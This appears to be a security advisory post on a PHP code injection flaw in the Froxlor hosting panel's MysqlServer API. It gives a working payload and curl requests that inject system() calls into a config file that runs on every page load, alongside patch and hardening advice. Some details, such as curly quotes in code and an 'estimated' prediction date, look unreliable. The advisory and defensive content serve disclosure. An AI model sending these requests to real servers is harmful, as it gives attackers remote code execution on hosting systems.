Listen to this Post
The vulnerability exists in Froxlor’s `PhpHelper::parseArrayToString()` (lib/Froxlor/PhpHelper.php:486). This function writes string values into single-quoted PHP string literals without escaping single quotes. Normally, the `password` key gets special nowdoc handling (safe), but other keys like privileged_user, caption, and `caFile` are interpolated directly. An attacker with `change_serversettings` permission can exploit this via the API command `MysqlServer.add` or MysqlServer.update. The `privileged_user` parameter is read via `getParam()` with no validation (line 88). By setting test_connection=0, the PDO connection test is skipped, so no valid MySQL credentials are needed. The malicious value is placed into the `$sql_root` array and passed to generateNewUserData(), which calls `parseArrayToPhpFile()` → parseArrayToString(). The resulting string is written to `lib/userdata.inc.php` using `file_put_contents()` (line 548). This file is `require`d on every request via `Database::getDB()` (lib/Froxlor/Database/Database.php:431). Injecting a payload like `x’.system(“id”).’` turns into `’user’ => ‘x’.system(“id”).”` inside the PHP file, causing arbitrary code execution as the web server user on every subsequent page load.
Platform: Froxlor
Version: < 2.2.0
Vulnerability: PHP code injection
Severity: Critical
date: 2024-02-15
Prediction: 2024-03-01 (estimated)
What Undercode Say:
Identify vulnerable version
curl -s https://froxlor.example/ | grep -i "Froxlor version"
Generate malicious privileged_user payload
PAYLOAD="x'.system(\"id\").'"
curl -s -X POST https://froxlor.example/api.php \
-u 'ADMIN_APIKEY:ADMIN_APISECRET' \
-H 'Content-Type: application/json' \
-d "{\"command\":\"MysqlServer.add\",\"params\":{\"mysql_host\":\"127.0.0.1\",\"mysql_port\":3306,\"privileged_user\":\"$PAYLOAD\",\"privileged_password\":\"anything\",\"description\":\"test\",\"test_connection\":0}}"
Trigger code execution (any request)
curl -s https://froxlor.example/ | grep -E "uid=|gid="
How Exploit:
1. Authenticate as admin with `change_serversettings` permission.
- Call `MysqlServer.add` API with `privileged_user` containing `’` to break out of string and inject PHP code (e.g.,
x'.system('id').').
3. Set `test_connection=0` to bypass MySQL validation.
- The payload is written unescaped into `lib/userdata.inc.php` as
'user' => 'x'.system("id").''. - Any subsequent HTTP request includes this file, executing the injected PHP code.
Protection from this CVE:
- Upgrade Froxlor to version 2.2.0 or newer where `parseArrayToString()` escapes single quotes or uses nowdoc for all strings.
- Apply patch: replace line 486 in `lib/Froxlor/PhpHelper.php` with `$escaped = str_replace([‘\\’, “‘”], [‘\\\\’, “\\'”], $value); $str .= self::tabPrefix($depth, “‘{$key}’ => ‘{$escaped}’,\n”);`
– As defense-in-depth, validate `privileged_user` and `mysql_ca` inputs against a strict whitelist (e.g., alphanumeric + allowed punctuation). - Restrict API access to trusted IPs and enforce principle of least privilege for admin roles.
Impact:
- Full server compromise (arbitrary OS commands as `www-data` user).
- Data exfiltration of customer databases, TLS private keys, and Froxlor credentials.
- Persistent backdoor (payload executes on every request until `userdata.inc.php` is cleaned).
- Denial of service via malformed PHP breaking the panel.
- Lateral movement to all MySQL servers using stored credentials.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

